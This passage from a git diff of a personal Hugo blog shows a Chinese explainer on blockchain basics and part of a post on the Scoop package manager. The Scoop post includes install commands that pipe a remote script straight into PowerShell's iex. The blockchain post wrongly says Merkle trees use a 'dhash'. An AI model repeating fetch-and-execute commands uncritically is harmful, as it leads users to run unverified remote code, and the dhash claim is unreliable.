Hash来表示，而区块本身的哈希值是没有记录在区块头部的，需要通过计算区块头部的数据得到\n区块头部的Prev Hash记录了上一个区块的哈希值（不是Merkle Hash，而是区块本身的哈希值），可以通过Prev Hash来追踪到上一个区块，每个区块的Prev Hash都会指向自己的上一个区块，一直反复下去，一直到区块链的第一个区块（创世区块，该区块没有上一个区块）\n从对Merkle Hash的计算方法和对区块头部来追踪到上一个区块的方法得出，只要篡改其中任意一个交易的数据（哪怕是一字节的改动）都会让Merkle Hash验证失败，那么这个区块就是无效的，只能重新计算Merkle Hash，然后这个区块本身的哈希值就改变，因此下一个区块指向该区块的链接也断了\n篡改一个区块，需要重新计算这个区块的本身的哈希值，然后将下一个的所有区块全部计算并且伪造，才能篡改整个区块链，难度极高，因为区块链是不断增长的，修改的难度也会越来越难，而挖矿实质上就是重新计算区块头部的哈希值，直到于哈希值匹配，挖矿本身的要求就已经很高了，更不用说篡改整个区块链了\n比特币交易中使用了一种名叫点对点交易，就是用户对用户，这个交易的特点就是去中心化，整个交易全部依赖于数学加密\n用到一个叫公钥和私钥，地址的概念，公钥是可以根据私钥计算出来的，而私钥就不能通过公钥计算出来，因此私钥很重要，不能泄露\n地址的计算方法\nHash(Hash(fun(私钥))) = 地址\n而需要不通过泄露私钥的情况下，表明拥有某个私钥，需要用到签名，先将交易信息进行哈希计算，然后签名计算，sign(‘交易信息的哈希值’,‘私钥’)，最后得到一个签名值\n而进行付款时，会向区块链的节点进行广播，广播信息包括，交易信息和签名值，而验证签名信息的确是某个私钥的，验证过程例如：\nverify(‘签名值’,‘付款方地址’)，获得的值为交易的哈希值\nif(verify(‘签名值’,‘付款方地址’) == hash(’{交易信息}’))\n如果当某一个节点验证通过，那么该节点也会进行再一次的广播\n交易信息中没有包含任何个人的信息，因此区块链具有匿名性\n而比特币的交易是根据私钥来验证的，只要不泄露私钥，那么比特币的账户是安全的，私钥破解，私钥的个数有2的256次方，相当于人类可观测宇宙的原子数，根据当前计算机的计算速度，根本不可能碰撞出来，除非倒霉到碰撞第一次就匹配到了\n挖矿：将交易记录，交易的时间，以及序号等等数据进行哈希打包的节点就是矿工节点，而完成哈希打包任务，并且认为其有效的，就会获得比特币奖励\n一段时间内只能一个矿工节点成功记账，并且被证明为有效的，这个时间一般为10分钟，奖励比特币的机制为每4年减半\n而且需要进行POW工作量证明竞争来获得记账权（也就是传说中的挖矿，因为要进行大量的计算，因此挖矿需要大量的算力，竞争该记账权是具有一定随机性的）\n其他节点复制记账结果（也会获得比特币奖励）\nPOW工作量证明\nHash(上一个Hash值,交易记录集,随机数)= 哈希值\n而比特币中有个机制，哈希值要小于某个目标值，因此需要不断修改随机数的值，比特币因为矿工节点越来越多，挖取比特币的难度也会越来越难，难度越难，那么目标值就越小\n交易记录集：收集广播中还没有被记录账本的交易，交易的有效性验证，添加给自己转账的交易（挖矿奖励）\n目前比特币的共识机制：优先选择工作量最大的区块链，最长的区块链，因此矿工会延长计算，已确保自己是工作量是最大最长的\n如果两条链被广播到其他节点，因为网络具有不确定性，有可能某个节点会先收到某个链，在这个链上挖矿，从而导致链出现分叉，如果两个链都同时收到，那么会优先选择工作量最大的区块链，另一个链为备用链保存\n解决分叉：如果当前链的上一级链更长的话，优先选择，而短一点的链会被抛弃\n分叉分为硬分叉和软分叉\n硬分叉：区块链发生永久性改变，在新共识发布后，那些没有更新的节点无法验证已经升级的节点的所产生的区块，改变挖矿难度\n软分叉：区块链发生改变，但是不会像硬分叉那样影响没有更新的节点，旧节点会兼容新节点，但是新节点不兼容旧节点而已\n解决分叉的方法就是所有矿工都遵从同样的机制（升级机制，保证机制为最新），而且那些没有遵从的就会发生分叉\n最经典的例子就是拜占庭将军问题\n主要讲的是：拜占庭帝国去攻击一个敌人，派了10支军队，要将这个敌人打败需要至少6支军队，而且必须在分散包围状态下同时攻击，需要依靠通信兵来进行传递信息，但是不清楚这些通信兵或者将军中是否有叛徒，而这些叛徒可能会传递假消息来导致进攻失败，而拜占庭将军们需要在这种分布式下进行传递消息\n而在区块链中，完美解决这个问题，进行区块链广播需要进行POW工作量证明，而且限制一段时间内只允许一个账号能广播，降低了虚假信息传播的量和成本，而且进行广播需要进行不可伪造的签名（私钥和公钥），每隔一段时间，信息就进行更新，节点进行验证，根本不让虚假信息的传播发送成功得逞，不可逆的哈希算法加密加上信息传递速度的限制，把区块链打造成了一个无需信任的数据信息交互平台\n假如：将军a发送进攻消息给将军b，为了防止信息泄露，使用非对称加密算法将消息进行加密，因为将军b的公钥是公开的，也就可以使用将军b的公钥进行信息加密，而将军b只能使用他的私钥进行解密，因为使用公钥加密的信息，可以通过私钥进行解密，主要是保护信息是完整的，但是依然可以传递虚假的信息给将军b（因为公钥是公开的，谁都可以进行公钥加密），因此，为了证明是将军a发的，还需要在信息上加签名，也就是将私钥加密成一个签名，然后将军b得到这个签名，需要将这个签名和将军a的公钥来验证，来确定发送这个消息的人的身份\n","wordCount":"72","inLanguage":"en","datePublished":"2021-06-16T09:27:00Z","dateModified":"2021-06-16T09:27:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/15/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>简单理解区块链的基本原理</h1><div class=post-meta><span title='2021-06-16 09:27:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e7%ae%80%e5%8d%95%e7%90%86%e8%a7%a3%e5%8c%ba%e5%9d%97%e9%93%be%e7%9a%84%e5%9f%ba%e6%9c%ac%e5%8e%9f%e7%90%86.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>注意：不推荐去玩比特币以及类似的加密货币，那个玩意说涨就涨，说跌就跌，比特币实质上就是一串数字，没有实物，没有信用背书，当这个巨大泡沫破裂之时，大部分人绝对不可能及时套现跑路，了解比特币下的技术可以，但是绝对不能接触或者玩比特币以及类似的加密货币</p><p>1个比特币相当于100000000聪,聪(Satoshi)是比特币目前最小的单位，是为了纪念比特币的创建者中本聪(Satoshi Nakamoto)</p><p>在中国唯一值得信赖的加密货币是数字人民币，有国家在做信用背书，是有法偿能力的法定货币，和现金等值</p><p>区块链技术诞生于比特币，而比特币的诞生又来源于一位叫中本聪的一篇文章（比特币：一种点对点的电子现金系统）</p><p>区块链的一个特点就是去中心化，中心化指的是数据中心化，例如支付宝和微信，那些支付的数据全部集中在数据库中，确保交易用户的余额一增一减</p><p>而区块链技术就是把数据全部公开，区块链中的每一个节点都可以获得一份完整的区块链，而且全部都是相同的数据，如果篡改了其中一份数据，那么这份数据会和其他节点的数据对比，如果不相同，那么这份数据是不被其他节点承认的</p><p>而需要伪造一个区块链需要拥有超过全网51%的（节点）算力</p><p>区块链是一个个区块组成的有序链表，区块中记录着一系列信息，每个区块都指向前一个区块，每个区块都有一个哈希标识（又被称为区块哈希），区块链的不可篡改的特性就是由哈希算法提供的（哈希是单向的，哈希算法可以将一段数据计算出一个哈希值，而哈希值不能反推出加密前的数据，只能暴力穷举）</p><p>如果两份数据的哈希值相同，那么这两个哈希值的数据就是相同的，只要改动了原始数据任意的数据，那怕只修改一个字节，都会改变哈希值</p><p>常见的哈希算法</p><p>MD5：128位，16字节</p><p>SHA-1：160位，20字节</p><p>SHA-256：256位，32子节</p><p>SHA-512：512位，64子节</p><p>RipeMD160：160位，20子节</p><p>哈希函数：Hash(原始数据) = 摘要数据（哈希值）</p><p>比特币使用的哈希算法有两种，一种是双重SHA-256（将数据进行两次SHA-256计算），另一种就是先将数据进行SHA-256计算，再将处理过的数据再进行一次RipeMD160计算</p><p>区块的头部有一个Merkle Hash字段，记录了该区块的全部交易的哈希树（全部交易的数据通过哈希算法处理为一个汇总的哈希值）</p><p>例如：当一个区块中有好几个交易，然后将一对一对的交易数据做差异哈希算法（dhash），得到两个哈希值，将这两个哈希值拼起来，计算出下一层的哈希值，一层一层计算，最后的得到的哈希值就是Merkle Hash</p><p>那么如果每一层是单数，那么将每一层的最后的一个数据复制一份，最后计算出最终值</p><p>区块本身使用Merkle Hash来表示，而区块本身的哈希值是没有记录在区块头部的，需要通过计算区块头部的数据得到</p><p>区块头部的Prev Hash记录了上一个区块的哈希值（不是Merkle Hash，而是区块本身的哈希值），可以通过Prev Hash来追踪到上一个区块，每个区块的Prev Hash都会指向自己的上一个区块，一直反复下去，一直到区块链的第一个区块（创世区块，该区块没有上一个区块）</p><p>从对Merkle Hash的计算方法和对区块头部来追踪到上一个区块的方法得出，只要篡改其中任意一个交易的数据（哪怕是一字节的改动）都会让Merkle Hash验证失败，那么这个区块就是无效的，只能重新计算Merkle Hash，然后这个区块本身的哈希值就改变，因此下一个区块指向该区块的链接也断了</p><p>篡改一个区块，需要重新计算这个区块的本身的哈希值，然后将下一个的所有区块全部计算并且伪造，才能篡改整个区块链，难度极高，因为区块链是不断增长的，修改的难度也会越来越难，而挖矿实质上就是重新计算区块头部的哈希值，直到于哈希值匹配，挖矿本身的要求就已经很高了，更不用说篡改整个区块链了</p><p>比特币交易中使用了一种名叫点对点交易，就是用户对用户，这个交易的特点就是去中心化，整个交易全部依赖于数学加密</p><p>用到一个叫公钥和私钥，地址的概念，公钥是可以根据私钥计算出来的，而私钥就不能通过公钥计算出来，因此私钥很重要，不能泄露</p><p>地址的计算方法</p><p>Hash(Hash(fun(私钥))) = 地址</p><p>而需要不通过泄露私钥的情况下，表明拥有某个私钥，需要用到签名，先将交易信息进行哈希计算，然后签名计算，sign(&lsquo;交易信息的哈希值&rsquo;,&lsquo;私钥&rsquo;)，最后得到一个签名值</p><p>而进行付款时，会向区块链的节点进行广播，广播信息包括，交易信息和签名值，而验证签名信息的确是某个私钥的，验证过程例如：</p><p>verify(&lsquo;签名值&rsquo;,&lsquo;付款方地址&rsquo;)，获得的值为交易的哈希值</p><p>if(verify(&lsquo;签名值&rsquo;,&lsquo;付款方地址&rsquo;) == hash(&rsquo;{交易信息}&rsquo;))</p><p>如果当某一个节点验证通过，那么该节点也会进行再一次的广播</p><p>交易信息中没有包含任何个人的信息，因此区块链具有匿名性</p><p>而比特币的交易是根据私钥来验证的，只要不泄露私钥，那么比特币的账户是安全的，私钥破解，私钥的个数有2的256次方，相当于人类可观测宇宙的原子数，根据当前计算机的计算速度，根本不可能碰撞出来，除非倒霉到碰撞第一次就匹配到了</p><p>挖矿：将交易记录，交易的时间，以及序号等等数据进行哈希打包的节点就是矿工节点，而完成哈希打包任务，并且认为其有效的，就会获得比特币奖励</p><p>一段时间内只能一个矿工节点成功记账，并且被证明为有效的，这个时间一般为10分钟，奖励比特币的机制为每4年减半</p><p>而且需要进行POW工作量证明竞争来获得记账权（也就是传说中的挖矿，因为要进行大量的计算，因此挖矿需要大量的算力，竞争该记账权是具有一定随机性的）</p><p>其他节点复制记账结果（也会获得比特币奖励）</p><p>POW工作量证明</p><p>Hash(上一个Hash值,交易记录集,随机数)= 哈希值</p><p>而比特币中有个机制，哈希值要小于某个目标值，因此需要不断修改随机数的值，比特币因为矿工节点越来越多，挖取比特币的难度也会越来越难，难度越难，那么目标值就越小</p><p>交易记录集：收集广播中还没有被记录账本的交易，交易的有效性验证，添加给自己转账的交易（挖矿奖励）</p><p>目前比特币的共识机制：优先选择工作量最大的区块链，最长的区块链，因此矿工会延长计算，已确保自己是工作量是最大最长的</p><p>如果两条链被广播到其他节点，因为网络具有不确定性，有可能某个节点会先收到某个链，在这个链上挖矿，从而导致链出现分叉，如果两个链都同时收到，那么会优先选择工作量最大的区块链，另一个链为备用链保存</p><p>解决分叉：如果当前链的上一级链更长的话，优先选择，而短一点的链会被抛弃</p><p>分叉分为硬分叉和软分叉</p><p>硬分叉：区块链发生永久性改变，在新共识发布后，那些没有更新的节点无法验证已经升级的节点的所产生的区块，改变挖矿难度</p><p>软分叉：区块链发生改变，但是不会像硬分叉那样影响没有更新的节点，旧节点会兼容新节点，但是新节点不兼容旧节点而已</p><p>解决分叉的方法就是所有矿工都遵从同样的机制（升级机制，保证机制为最新），而且那些没有遵从的就会发生分叉</p><p>最经典的例子就是拜占庭将军问题</p><p>主要讲的是：拜占庭帝国去攻击一个敌人，派了10支军队，要将这个敌人打败需要至少6支军队，而且必须在分散包围状态下同时攻击，需要依靠通信兵来进行传递信息，但是不清楚这些通信兵或者将军中是否有叛徒，而这些叛徒可能会传递假消息来导致进攻失败，而拜占庭将军们需要在这种分布式下进行传递消息</p><p>而在区块链中，完美解决这个问题，进行区块链广播需要进行POW工作量证明，而且限制一段时间内只允许一个账号能广播，降低了虚假信息传播的量和成本，而且进行广播需要进行不可伪造的签名（私钥和公钥），每隔一段时间，信息就进行更新，节点进行验证，根本不让虚假信息的传播发送成功得逞，不可逆的哈希算法加密加上信息传递速度的限制，把区块链打造成了一个无需信任的数据信息交互平台</p><p>假如：将军a发送进攻消息给将军b，为了防止信息泄露，使用非对称加密算法将消息进行加密，因为将军b的公钥是公开的，也就可以使用将军b的公钥进行信息加密，而将军b只能使用他的私钥进行解密，因为使用公钥加密的信息，可以通过私钥进行解密，主要是保护信息是完整的，但是依然可以传递虚假的信息给将军b（因为公钥是公开的，谁都可以进行公钥加密），因此，为了证明是将军a发的，还需要在信息上加签名，也就是将私钥加密成一个签名，然后将军b得到这个签名，需要将这个签名和将军a的公钥来验证，来确定发送这个消息的人的身份</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/%E5%8C%BA%E5%9D%97%E9%93%BE/>区块链</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/16/><span class=title>« Prev</span><br><span>JavaScript-IntersectionObserver构造函数笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/14/><span class=title>Next »</span><br><span>JavaScript-XMLHttpRequest对象笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/150/index.html b/posts/150/index.html
index 4de856ac..12c1336d 100644
--- a/posts/150/index.html
+++ b/posts/150/index.html
@@ -33,8 +33,8 @@
 更新软件
 scoop update git
 更新全部已安装软件
-scoop update *"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/150/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用Scoop包管理器"><meta property="og:description" content="Scoop是windows平台下开源的命令行软件包管理器，类似于ubuntu的apt或者macOS的brew
+scoop update *"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/150/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用Scoop包管理器"><meta property="og:description" content="Scoop是windows平台下开源的命令行软件包管理器，类似于ubuntu的apt或者macOS的brew
 scoop仓库里面全部都是通过审核的绿色软件包（前提是不要乱用来路不明的scoop源）
 允许执行本地脚本权限
 Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser
@@ -69,7 +69,7 @@
 更新软件
 scoop update git
 更新全部已安装软件
-scoop update *"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/150/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-05-20T22:10:00+00:00"><meta property="article:modified_time" content="2022-05-20T22:10:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用Scoop包管理器"><meta name=twitter:description content="Scoop是windows平台下开源的命令行软件包管理器，类似于ubuntu的apt或者macOS的brew
+scoop update *"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/150/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-05-20T22:10:00+00:00"><meta property="article:modified_time" content="2022-05-20T22:10:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用Scoop包管理器"><meta name=twitter:description content="Scoop是windows平台下开源的命令行软件包管理器，类似于ubuntu的apt或者macOS的brew
 scoop仓库里面全部都是通过审核的绿色软件包（前提是不要乱用来路不明的scoop源）
 允许执行本地脚本权限
 Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser
@@ -104,12 +104,12 @@
 更新软件
 scoop update git
 更新全部已安装软件
-scoop update *"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用Scoop包管理器","item":"https://xiaochenabc123.github.io/posts/150/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用Scoop包管理器","name":"简单使用Scoop包管理器","description":"Scoop是windows平台下开源的命令行软件包管理器，类似于ubuntu的apt或者macOS的brew\nscoop仓库里面全部都是通过审核的绿色软件包（前提是不要乱用来路不明的scoop源）\n允许执行本地脚本权限\nSet-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser\n修改Scoop安装目录（用户级）\n$env:SCOOP=\u0026lsquo;D:\\Software\\Scoop\u0026rsquo; [Environment]::SetEnvironmentVariable(\u0026lsquo;SCOOP\u0026rsquo;, $env:SCOOP, \u0026lsquo;User\u0026rsquo;)\n修改Scoop安装目录（全局）\n$env:SCOOP_GLOBAL=\u0026lsquo;D:\\Software\\Scoop\\Global\u0026rsquo; [Environment]::SetEnvironmentVariable(\u0026lsquo;SCOOP_GLOBAL\u0026rsquo;, $env:SCOOP_GLOBAL, \u0026lsquo;Machine\u0026rsquo;)\n目录介绍： apps：通过scoop安装的软件存储的目录\nbuckets：管理软件的仓库目录（记录了哪些仓库有哪些软件）\nchache：软件安装包目录\npersit：存储用户数据，与软件分离\nshims；软链接\n安装scoop\niwr -useb get.scoop.sh | iex\n或者\niex (new-object net.webclient).downloadstring(\u0026lsquo;https://get.scoop.sh\u0026rsquo;)\n安装软件\nscoop install sudo\n查看环境存在的问题\nscoop checkup\n将一些scoop环境必须的软件安装一下\n搜索软件\nscoop search git\n安装软件\nscoop install git\n查看软件信息\nscoop info git\n查看已经安装的软件\nscoop list\n卸载软件（-p删除配置）\nscoop uninstall git -p\n更新软件\nscoop update git\n更新全部已安装软件\nscoop update *","keywords":["scoop","windows"],"articleBody":"Scoop是windows平台下开源的命令行软件包管理器，类似于ubuntu的apt或者macOS的brew\nscoop仓库里面全部都是通过审核的绿色软件包（前提是不要乱用来路不明的scoop源）\n允许执行本地脚本权限\nSet-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser\n修改Scoop安装目录（用户级）\n$env:SCOOP=‘D:\\Software\\Scoop’ [Environment]::SetEnvironmentVariable(‘SCOOP’, $env:SCOOP, ‘User’)\n修改Scoop安装目录（全局）\n$env:SCOOP_GLOBAL=‘D:\\Software\\Scoop\\Global’ [Environment]::SetEnvironmentVariable(‘SCOOP_GLOBAL’, $env:SCOOP_GLOBAL, ‘Machine’)\n目录介绍： apps：通过scoop安装的软件存储的目录\nbuckets：管理软件的仓库目录（记录了哪些仓库有哪些软件）\nchache：软件安装包目录\npersit：存储用户数据，与软件分离\nshims；软链接\n安装scoop\niwr -useb get.scoop.sh | iex\n或者\niex (new-object net.webclient).downloadstring(‘https://get.scoop.sh’)\n安装软件\nscoop install sudo\n查看环境存在的问题\nscoop checkup\n将一些scoop环境必须的软件安装一下\n搜索软件\nscoop search git\n安装软件\nscoop install git\n查看软件信息\nscoop info git\n查看已经安装的软件\nscoop list\n卸载软件（-p删除配置）\nscoop uninstall git -p\n更新软件\nscoop update git\n更新全部已安装软件\nscoop update *\n导出已安装软件列表\nscoop.cmd export \u003e App_list.txt\n添加官方的bucket（包含大量的软件）\nscoop bucket add main scoop bucket add extras\n更新仓库\nscoop updat\n限制软件更新\nscoop hold git\n代理\nscoop config proxy 127.0.0.1:7890\n取消代理\nscoop config proxy none\n查看其他scoop命令\nscoop help\n","wordCount":"104","inLanguage":"en","datePublished":"2022-05-20T22:10:00Z","dateModified":"2022-05-20T22:10:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/150/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body 